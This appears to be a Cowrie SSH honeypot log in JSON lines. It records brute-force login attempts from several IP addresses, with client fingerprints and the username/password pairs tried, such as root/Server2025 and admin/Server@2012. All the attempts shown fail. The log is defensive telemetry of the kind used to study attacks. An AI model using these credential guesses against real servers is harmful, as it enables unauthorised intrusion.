{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:30.732382Z","src_ip":"203.115.100.24","session":"572313be8526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:30.968002Z","src_ip":"203.115.100.24","session":"572313be8526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025","message":"login attempt [root/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:31.942458Z","src_ip":"203.115.100.24","session":"572313be8526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:32.415985Z","src_ip":"203.115.100.24","session":"572313be8526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55315,"dst_ip":"10.17.0.5","dst_port":22,"session":"7955f7b9ee69","protocol":"ssh","message":"New connection: 203.115.100.24:55315 (10.17.0.5:22) [session: 7955f7b9ee69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:32.656589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:32.665224Z","src_ip":"203.115.100.24","session":"7955f7b9ee69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:32.893353Z","src_ip":"203.115.100.24","session":"7955f7b9ee69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2025","message":"login attempt [admin/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:33.837930Z","src_ip":"203.115.100.24","session":"7955f7b9ee69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:34.319204Z","src_ip":"203.115.100.24","session":"7955f7b9ee69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55406,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b0f4aae2d4e","protocol":"ssh","message":"New connection: 203.115.100.24:55406 (10.17.0.5:22) [session: 0b0f4aae2d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:34.565311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:34.570455Z","src_ip":"203.115.100.24","session":"0b0f4aae2d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:34.805580Z","src_ip":"203.115.100.24","session":"0b0f4aae2d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2025","message":"login attempt [user/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:35.781819Z","src_ip":"203.115.100.24","session":"0b0f4aae2d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:36.255719Z","src_ip":"203.115.100.24","session":"0b0f4aae2d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55502,"dst_ip":"10.17.0.5","dst_port":22,"session":"b991f6d0658b","protocol":"ssh","message":"New connection: 203.115.100.24:55502 (10.17.0.5:22) [session: b991f6d0658b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:36.511616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:36.517461Z","src_ip":"203.115.100.24","session":"b991f6d0658b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:36.757848Z","src_ip":"203.115.100.24","session":"b991f6d0658b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2025","message":"login attempt [user2/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:37.745690Z","src_ip":"203.115.100.24","session":"b991f6d0658b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:38.228756Z","src_ip":"203.115.100.24","session":"b991f6d0658b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55596,"dst_ip":"10.17.0.5","dst_port":22,"session":"9086f174f51e","protocol":"ssh","message":"New connection: 203.115.100.24:55596 (10.17.0.5:22) [session: 9086f174f51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:38.458440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:38.463594Z","src_ip":"203.115.100.24","session":"9086f174f51e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:38.686683Z","src_ip":"203.115.100.24","session":"9086f174f51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41760,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b563b4b605","protocol":"ssh","message":"New connection: 2.57.122.238:41760 (159.203.135.109:22) [session: a5b563b4b605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:39.543099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:39.548703Z","src_ip":"2.57.122.238","session":"a5b563b4b605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2012","message":"login attempt [root/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:39.607352Z","src_ip":"203.115.100.24","session":"9086f174f51e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:39.650867Z","src_ip":"2.57.122.238","session":"a5b563b4b605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:39.955987Z","src_ip":"2.57.122.238","session":"a5b563b4b605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:40.085241Z","src_ip":"203.115.100.24","session":"9086f174f51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55688,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b349e155a3d","protocol":"ssh","message":"New connection: 203.115.100.24:55688 (10.17.0.5:22) [session: 2b349e155a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:40.336041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:40.340918Z","src_ip":"203.115.100.24","session":"2b349e155a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:40.575793Z","src_ip":"203.115.100.24","session":"2b349e155a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:41.059824Z","src_ip":"2.57.122.238","session":"a5b563b4b605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2012","message":"login attempt [admin/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:41.545611Z","src_ip":"203.115.100.24","session":"2b349e155a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.024845Z","src_ip":"203.115.100.24","session":"2b349e155a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42702,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ae30307ee9c","protocol":"ssh","message":"New connection: 159.203.92.129:42702 (159.203.135.109:22) [session: 6ae30307ee9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.057496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.065881Z","src_ip":"159.203.92.129","session":"6ae30307ee9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.072580Z","src_ip":"159.203.92.129","session":"6ae30307ee9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abo","password":"123456","message":"login attempt [abo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.091086Z","src_ip":"159.203.92.129","session":"6ae30307ee9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55782,"dst_ip":"10.17.0.5","dst_port":22,"session":"167eaaa891e3","protocol":"ssh","message":"New connection: 203.115.100.24:55782 (10.17.0.5:22) [session: 167eaaa891e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.258534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.263431Z","src_ip":"203.115.100.24","session":"167eaaa891e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:42.491362Z","src_ip":"203.115.100.24","session":"167eaaa891e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:43.097738Z","src_ip":"159.203.92.129","session":"6ae30307ee9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2012","message":"login attempt [user/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:43.432348Z","src_ip":"203.115.100.24","session":"167eaaa891e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:43.909102Z","src_ip":"203.115.100.24","session":"167eaaa891e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":55875,"dst_ip":"10.17.0.5","dst_port":22,"session":"35fe96e1dc28","protocol":"ssh","message":"New connection: 203.115.100.24:55875 (10.17.0.5:22) [session: 35fe96e1dc28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:44.153974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:44.158926Z","src_ip":"203.115.100.24","session":"35fe96e1dc28","protocol":"ssh"}
